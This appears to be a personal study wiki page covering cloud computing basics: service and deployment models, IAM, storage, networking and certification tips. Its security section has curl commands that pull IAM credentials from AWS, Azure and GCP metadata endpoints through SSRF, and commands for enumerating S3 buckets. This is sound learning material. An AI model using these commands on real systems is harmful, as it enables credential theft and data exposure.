Cloud Computing
Table of Contents
On-demand delivery of computing resources — servers, storage, databases, networking, software — over the internet from a provider's data centre. The consumer rents capacity rather than owning hardware. Dominant model for modern infrastructure.
Related: AWS Certified Cloud Practitioner Azure Infrastructure as Code Terraform
Service Models
| Model | Provider manages | Consumer manages | Examples |
|---|---|---|---|
| IaaS | Hardware, network, hypervisor | OS, runtime, apps, data | AWS EC2, Azure VMs, GCP Compute |
| PaaS | Everything up to runtime | Applications, data | AWS Elastic Beanstalk, Heroku, Azure App Service |
| SaaS | Everything | Nothing (config only) | Office 365, Salesforce, Gmail |
| FaaS / Serverless | Everything | Function code | AWS Lambda, Azure Functions, GCP Cloud Functions |
The higher up the stack, the less the consumer manages — and the less attack surface they directly control.
Deployment Models
| Model | Description | Common use |
|---|---|---|
| Public cloud | Resources shared across tenants on provider infrastructure | Most workloads |
| Private cloud | Dedicated infrastructure, single organisation | Regulated industries |
| Hybrid cloud | Mix of public and private, interconnected | Gradual migration, compliance requirements |
| Multi-cloud | Multiple public providers | Avoid vendor lock-in, resilience |
Major Providers
| Provider | Platform | Market position |
|---|---|---|
| AWS | Amazon Web Services | Largest, widest service catalogue |
| Azure | Microsoft Azure | Strong enterprise and Microsoft ecosystem integration |
| GCP | Google Cloud Platform | Strong in data analytics and ML |
Core Cloud Concepts
Shared Responsibility Model
Security responsibilities split between cloud provider and customer:
Provider responsible for: — Physical security of data centres — Hypervisor and host OS security — Network infrastructure — Service availability Customer responsible for: — Data classification and protection — Identity and access management (IAM) — OS and application patching (IaaS) — Network configuration (security groups, firewalls) — Encryption at rest and in transit
Misunderstanding this model is a common source of cloud misconfigurations — customers assume the provider secures more than they actually do.
Regions and Availability Zones
- Region — a geographic area containing multiple data centres
- Availability Zone (AZ) — one or more physically separate data centres within a region, with independent power, cooling, and networking
- Edge locations — CDN endpoints closer to users than regions
Deploying across multiple AZs provides resilience; deploying across multiple regions provides disaster recovery and latency benefits.
IAM — Identity and Access Management
Controls who can do what to which resources. The most common source of cloud security incidents.
Core concepts (AWS terminology, broadly applicable): — User: individual identity with credentials — Role: assumed identity with temporary credentials (no password) — Policy: JSON document defining allowed/denied actions — Principle of least privilege: grant only what is needed
Compute
| Type | Description |
|---|---|
| Virtual machine (EC2, Azure VM) | Full OS on virtualised hardware — IaaS |
| Container service (ECS, AKS) | Managed container orchestration |
| Serverless function (Lambda) | Event-driven code, no server management |
| Spot/preemptible instances | Cheap but interruptible — not for critical workloads |
Storage
| Type | AWS | Azure | Use case |
|---|---|---|---|
| Object storage | S3 | Blob Storage | Static files, backups, data lakes |
| Block storage | EBS | Managed Disks | VM volumes, databases |
| File storage | EFS | Azure Files | Shared NFS/SMB |
| Archive | S3 Glacier | Archive Storage | Long-term cold storage |
Networking
VPC / VNet — isolated virtual network for your resources Subnet — segment of a VPC with its own routing Security Group — stateful firewall applied per-resource NACL — stateless firewall applied per-subnet Internet Gateway — allows public internet access from a VPC NAT Gateway — allows outbound internet from private subnets Load Balancer — distributes traffic across multiple instances VPN / Direct Connect — connects on-premises to cloud
Security Relevance
Common Cloud Misconfigurations
S3 buckets publicly readable — data exposure Overly permissive IAM policies — privilege escalation Instance metadata endpoint accessible from web app — SSRF → credential theft Default security groups allowing all inbound traffic Secrets in environment variables — visible in console and logs Unencrypted storage volumes Publicly exposed databases (no VPC, public IP)
SSRF to Cloud Metadata
From a web application with SSRF, the instance metadata service is a critical target — it exposes IAM credentials:
# AWS IMDSv1 — no token required (legacy, being phased out) curl http://169.254.169.254/latest/meta-data/ curl http://169.254.169.254/latest/meta-data/iam/security-credentials/ curl http://169.254.169.254/latest/meta-data/iam/security-credentials/<role-name> # Returns: AccessKeyId, SecretAccessKey, Token (temporary) # These can be used with AWS CLI from the attacker's machine # Azure curl -H "Metadata: true" "http://169.254.169.254/metadata/instance?api-version=2021-02-01" # GCP curl -H "Metadata-Flavor: Google" \ "http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token"
See SSRF for full methodology.
S3 Bucket Enumeration
# Check if a bucket exists and is public curl -I https://bucket-name.s3.amazonaws.com curl -I https://s3.amazonaws.com/bucket-name # List bucket contents (if public or with credentials) aws s3 ls s3://bucket-name --no-sign-request # unauthenticated aws s3 ls s3://bucket-name # authenticated # Common naming patterns to try company-name-backup company-name-dev company-name-staging company-name-assets
Tips
- The shared responsibility model boundary is a frequent exam and real-world confusion point — in IaaS the customer owns OS-level security; in SaaS they own only their data and config
- IAM is where most cloud breaches originate — overly permissive roles, unused credentials, and missing MFA are the three most common issues
- AWS CCP gives a solid foundation but cloud security depth comes from hands-on experience; CloudGoat and HackTheBox cloud tracks are good practical resources post-certification
- IMDSv2 (token-required) mitigates the SSRF → metadata credential theft attack — check whether instances enforce it